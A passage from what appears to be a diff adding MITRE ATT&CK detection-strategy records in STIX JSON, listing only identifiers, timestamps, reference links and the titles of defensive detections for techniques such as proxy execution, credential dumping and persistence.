], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect disabled Windows event logging", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--705168ad-1701-453c-9aea-c75029492b89" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--434d1a09-6a53-43ae-8f8c-e0eb853c4a25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0561", + "external_id": "DET0561" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect malicious IDE extension install/usage and IDE tunneling", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--539a4182-ab9e-4abf-a83b-f30cf2dec770", + "x-mitre-analytic--4dff3c9a-4730-46de-af2f-dfa86b249167", + "x-mitre-analytic--77d3146f-2066-40a9-872e-ec05d7a4d6d1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5ac0e527-2ebd-44a1-8d87-4de8463b761c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0125", + "external_id": "DET0125" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect persistence via reopened application plist modification (macOS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--67d1900f-9e02-4290-a14c-6d32be508d19" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--81ac26e4-c4f6-4368-842f-50033ca8522b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0473", + "external_id": "DET0473" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect persistent or elevated container services via container runtime or cluster manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--de64bfbd-a6ed-4674-b0c5-dd485cba943b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fbac07bf-65d5-4222-88bb-0ef798417ebb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0225", + "external_id": "DET0225" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5028303d-22d6-490c-b053-015e877d5829" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e8d186eb-5450-4dc9-8458-89bbaed45643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0069", + "external_id": "DET0069" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--61d89912-f74e-4fde-ae7a-591e8c7c5739", + "x-mitre-analytic--81cd2610-bc6c-46bf-8d3c-d6e30c7f51c8", + "x-mitre-analytic--5bbe0089-4927-4415-bff7-14a3ba5543c0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9c03f003-b859-42c6-b16d-c0979dfc202b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0361", + "external_id": "DET0361" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting .NET COM Registration Abuse via Regsvcs/Regasm", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a5e9fb06-ab75-415d-beff-206aa059e096" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--960d6663-6a7f-4f95-affe-a28d71afc7d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0500", + "external_id": "DET0500" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--afb1860a-e29a-4ce8-9524-ab371c5f8d4f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--574968c5-ca49-4005-958f-c3ea5a78cfbc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0263", + "external_id": "DET0263" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0aa20e10-ec46-4acf-810e-e8ed038d7744" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--621ecbd0-a183-4dbd-913c-656436e62c1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0433", + "external_id": "DET0433" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Code Injection via mavinject.exe (App-V Injector)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0fff438f-1aa9-4424-be94-a08b400adcb0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--63d80d1b-ca5b-427d-b603-cf65e6e245b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0350", + "external_id": "DET0350" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Downgrade Attacks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e61d2099-1517-4bf4-b2e6-6e61cdf94be3", + "x-mitre-analytic--54eb86ed-2a72-41a8-b060-2750c2fee758", + "x-mitre-analytic--08a391a7-1ce6-4f11-b060-fca06ef03328" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d41df11d-b2cd-4afc-89a5-9c77e7f31985", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0025", + "external_id": "DET0025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Electron Application Abuse for Proxy Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dc0bf4ca-1d65-46ee-b4b1-d8f73a6e0cda", + "x-mitre-analytic--8129e7b8-eaa1-4459-ba70-ebf6d68ca16c", + "x-mitre-analytic--f2c91a4c-1e79-4350-8a7e-94bc7b7b9a4c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bb40d0a9-b35b-4adc-8a69-a3002d53f5f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0011", + "external_id": "DET0011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Junk Data in C2 Channels via Behavioral Analysis", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3e852bb9-785d-4bc4-9f7e-b7e43a5d8bc8", + "x-mitre-analytic--4c7d92bb-4b46-44e4-b070-43c46d3193c4", + "x-mitre-analytic--0519edaf-6485-40b2-8b91-13db29fb8cb8", + "x-mitre-analytic--d3bad85b-9e86-4de8-9e4a-1666133af782" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f4560945-d62f-48b6-ae94-dcd93c471c45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0222", + "external_id": "DET0222" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting MMC (.msc) Proxy Execution and Malicious COM Activation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e6f38f76-4e60-4b8a-881c-5d3f206e912c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--101e19ca-f902-4c2d-8ceb-ddd07a43f1a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0044", + "external_id": "DET0044" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Malicious Browser Extensions Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--db45c19b-d9d6-4794-8b49-ba232cca34b0", + "x-mitre-analytic--41153f33-d415-4e1d-b3c8-7333b2f1915e", + "x-mitre-analytic--b5020e23-475e-4f74-a943-787e090d3e2f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8d06728f-5b50-4925-a05c-4d56b17ba5d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0506", + "external_id": "DET0506" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e6037bea-ba25-40bf-b681-361d4f901adb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dc017318-98a3-450b-b903-fe1e7d988197", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0593", + "external_id": "DET0593" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting OS Credential Dumping via /proc Filesystem Access on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--98b71f96-ae0a-47b4-bec2-156cb6e5bfcb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9407410b-7f35-4d32-be3c-e48ea36573d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0486", + "external_id": "DET0486" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Odbcconf Proxy Execution of Malicious DLLs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6c0a2e08-debd-46e6-bb5f-5159ad8f12ad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ba3578d1-5913-4ed1-ab83-473a39b63f7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0440", + "external_id": "DET0440" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting PowerShell Execution via SyncAppvPublishingServer.vbs Proxy Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a59042de-ecac-45bf-a852-af3df41b86d8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--776a998c-481d-4193-934e-c0af3968c392", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0470", + "external_id": "DET0470" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bcf48294-2388-4ae6-be22-f9038c54e1db", + "x-mitre-analytic--d27a6df2-b2df-443e-8e01-c90243465ceb", + "x-mitre-analytic--a4119120-396e-4993-8f9d-bc7b5fc94e7e", + "x-mitre-analytic--8307d1d4-4f50-481b-9126-3b145fd68a73" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4e2e06c5-a7bd-40d9-af9b-99fdfe725360", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0528", + "external_id": "DET0528" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Remote Script Proxy Execution via PubPrn.vbs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e7444be7-3c0a-4ff2-927d-f623af05936d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0aa86929-f232-4fa7-bdc9-120f917a3509", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0235", + "external_id": "DET0235" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Steganographic Command and Control via File + Network Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e7be37f1-88f9-45e3-91d0-1ff37bc94892", + "x-mitre-analytic--191d5ea7-ff08-4433-ba1b-1c0ed755ca67", + "x-mitre-analytic--eb6edb6d-9684-4ef7-96b2-13c087276d80", + "x-mitre-analytic--80caf81c-0714-4fa5-8b77-8e2144e316b9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--34fb7d2b-f5be-45a2-9cdc-811ae843e379", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0550", + "external_id": "DET0550" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Suspicious Access to CRM Data in SaaS Environments", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--616bc2d5-5c4d-4efa-9490-c77213be1de1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c69d915c-0cbf-479e-b0b5-bebd7eb7e728", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0567", + "external_id": "DET0567" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detecting Unauthorized Collection from Messaging Applications in SaaS and Office Environments", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--222cf26f-e5cc-4b60-a7b2-39118b5c20d6", + "x-mitre-analytic--0c833a56-ca8e-41d8-b79a-3f3c89c63a48" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--452c12a6-e74d-4244-a298-e9adaaf23794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0541", + "external_id": "DET0541" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for /proc Memory Injection on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3a57e109-235d-497a-9c90-952ab8b749b6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9646aa18-4ebf-43c8-bf4c-670063bc5ef8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345", + "external_id": "DET0345" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Abuse Elevation Control Mechanism (T1548)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--11f18771-dd49-45f7-8ef5-05d3426d82d5", + "x-mitre-analytic--90a8d89c-f54a-49dd-8734-6f85e5e3a2a5", + "x-mitre-analytic--d8b422b3-50e7-48cc-bfa1-a6e0cecf5761", + "x-mitre-analytic--6385ccc0-f1a9-4198-997e-dec943e88db7", + "x-mitre-analytic--9465ea54-a81a-4d00-a75d-e0b7f3392bb8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--05cb564b-df98-44d8-8982-176136eef26d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0033", + "external_id": "DET0033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6b5b9cd2-f6ba-4ed5-bea2-30edbf85501e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--679edb0f-4fa0-4929-9ffd-881d9f82263d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 